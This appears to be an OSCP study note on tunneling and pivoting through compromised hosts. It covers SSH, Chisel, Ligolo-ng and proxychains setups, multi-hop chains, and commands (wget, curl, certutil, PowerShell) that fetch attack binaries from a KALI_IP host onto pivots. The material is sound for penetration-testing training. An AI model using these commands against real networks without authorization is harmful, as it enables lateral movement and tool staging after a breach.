Tunneling & Pivoting — Core Concepts
What Is Tunneling / Pivoting?
Tunneling wraps traffic inside another protocol to bypass firewalls or reach isolated networks. Pivoting uses a compromised host as a relay to reach network segments you can’t access directly.
OSCP context: In multi-machine networks and AD labs you almost always need to pivot. You land on a host that sits in two subnets — it becomes your jump box to reach the internal network.
[Attacker / Kali] ──── Internet ──── [Jump Box / Pivot] ──── [Internal Network]
(Dual-homed host) 192.168.x.x / 172.16.x.x
Key Terminology
| Term | Meaning |
|---|---|
| Pivot host | The compromised machine you route traffic through |
| Jump box | Same as pivot host — a machine in two networks |
| Port forwarding | Redirect traffic from one port to another |
| Local forward | Expose a remote service locally on your attacker machine |
| Remote forward | Expose your attacker machine’s port on the remote pivot |
| Dynamic forward | Full SOCKS proxy — route anything through the tunnel |
| SOCKS proxy | Protocol-agnostic proxy; SOCKS4 (TCP only), SOCKS5 (TCP+UDP+auth) |
| Proxychains | Linux tool that forces any app through a SOCKS/HTTP proxy |
| TUN interface | Virtual network interface used by tools like Ligolo-ng |
| Multi-hop / Double pivot | Chaining through multiple pivot hosts into deeper networks |
When To Use What
| Situation | Best Tool |
|---|---|
| SSH available on pivot (Linux) | SSH Tunneling (-L, -R, -D) |
| Need full subnet access, no proxychains hassle | Ligolo-ng |
| No SSH, firewall blocks everything but HTTP | Chisel |
| Windows pivot, no SSH client | Windows Tunneling (Plink / Netsh / Chisel) |
| Need port relay on Linux without extra binary | Socat |
| Root on Linux, no extra tools at all | Port Forwarding (iptables DNAT) |
| Only netcat available | Port Forwarding (nc + mkfifo relay) |
| VPN-like access through SSH creds | sshuttle |
| Windows pivot, no binary upload | Netsh (portproxy) |
| Windows pivot, SSH to Kali | Plink |
| Metasploit session exists | Meterpreter portfwd + autoroute (see MetaSploit) |
📌 Proxychains — Setup & Usage
Full reference: Proxychains — config (dynamic_chain, proxy_dns), -q, nmap -sT -Pn, AD tools, Chisel/SSH -D integration, troubleshooting.
ssh -D 1080 -N -f user@PIVOT
# /etc/proxychains4.conf → dynamic_chain + socks5 127.0.0.1 1080
proxychains4 -q nmap -sT -Pn 172.16.0.10
proxychains4 evil-winrm -i 172.16.0.10 -u admin -p passLigolo-ng does NOT need proxychains — TUN interface; tools work natively.
📌 Identifying Pivot Hosts
When you land on a machine, always check for multiple interfaces — that tells you there’s another network to pivot into:
# Linux
ip a
ifconfig
ip route
cat /etc/hosts
arp -a # Hosts this machine has seen recently
# Windows
ipconfig /all
arp -a
route printLook for:
- A second NIC with a different subnet (e.g. eth0: 10.10.10.5, eth1: 172.16.0.5)
- Routes to internal subnets
- Hosts in
/etc/hostsor ARP cache on different subnets
📌 Multi-Hop / Double Pivot
When you need to reach a 3rd network through 2 pivot hosts:
[Kali] ──── [Pivot 1: 10.10.10.5] ──── [Pivot 2: 172.16.0.10] ──── [Internal: 192.168.1.0/24]
With Chisel (chain):
# Kali: start server
chisel server -p 8001 --reverse
# Pivot 1: connect to Kali AND start its own server for Pivot 2
chisel client KALI_IP:8001 R:socks &
chisel server -p 8002 --reverse &
# Pivot 2: connect to Pivot 1
chisel client PIVOT1_IP:8002 R:socksWith Ligolo-ng (multi-session): Add the second session from Pivot 2 after routing through Pivot 1. See Ligolo-ng for full multi-hop setup.
With SSH (ProxyJump chaining):
ssh -J user@PIVOT1 -J user@PIVOT2 user@INTERNAL_HOST📌 File Transfer to Pivot Hosts
You’ll need to transfer tool binaries (chisel, ligolo agent, socat) to the pivot:
# Python HTTP server on Kali
python3 -m http.server 8080
# On Linux pivot: download
wget http://KALI_IP:8080/chisel -O /tmp/chisel && chmod +x /tmp/chisel
curl http://KALI_IP:8080/chisel -o /tmp/chisel && chmod +x /tmp/chisel
# On Windows pivot: download (PowerShell)
iwr -Uri http://KALI_IP:8080/chisel.exe -OutFile C:\Temp\chisel.exe
(New-Object Net.WebClient).DownloadFile("http://KALI_IP:8080/chisel.exe","C:\Temp\chisel.exe")
certutil -urlcache -split -f http://KALI_IP:8080/chisel.exe C:\Temp\chisel.exe📌 OSCP Tunneling Decision Flow
Got shell on pivot?
└── Does it have SSH?
├── YES → Use SSH -L / -D (easiest, no binary needed)
│ or sshuttle (full subnet, VPN-like)
└── NO → Can you transfer a binary?
├── YES → Use Chisel (HTTP-based, bypasses firewalls)
│ or Ligolo-ng (best for full subnet access)
└── NO → Use socat relay (if pre-installed)
or Meterpreter portfwd (if MSF session)
Windows pivot?
├── Has SSH? → plink.exe (SSH for Windows)
├── No SSH? → Chisel.exe / Ligolo agent.exe
└── No binary upload? → netsh portproxy (built-in Windows)
Tunneling Tools (Sub-Notes)
| Note | Tool | OS | Best For |
|---|---|---|---|
| Port Forwarding | SSH/socat/iptables/netsh/rinetd/nc | Both | All port forwarding techniques in one place |
| SSH Tunneling | SSH | Linux/Windows | Quick tunnels, SOCKS proxy |
| sshuttle | sshuttle | Kali | VPN-like subnet routing over SSH |
| Chisel | Chisel | Both | HTTP tunnel through firewalls, SOCKS5 |
| Ligolo-ng | Ligolo-ng | Both | Full subnet pivot, no proxychains needed |
| Socat | Socat | Both | Port relay, SSL shells, Windows pivot relay |
| Plink | Plink.exe | Windows | SSH tunnels from Windows pivot |
| Netsh | netsh portproxy | Windows | Built-in port relay (admin, no upload) |
| Windows Tunneling | Plink/netsh/Chisel | Windows | Pivoting hub from Windows hosts |
| Proxychains | proxychains4 | Kali | Force tools through SOCKS (SSH -D, Chisel) |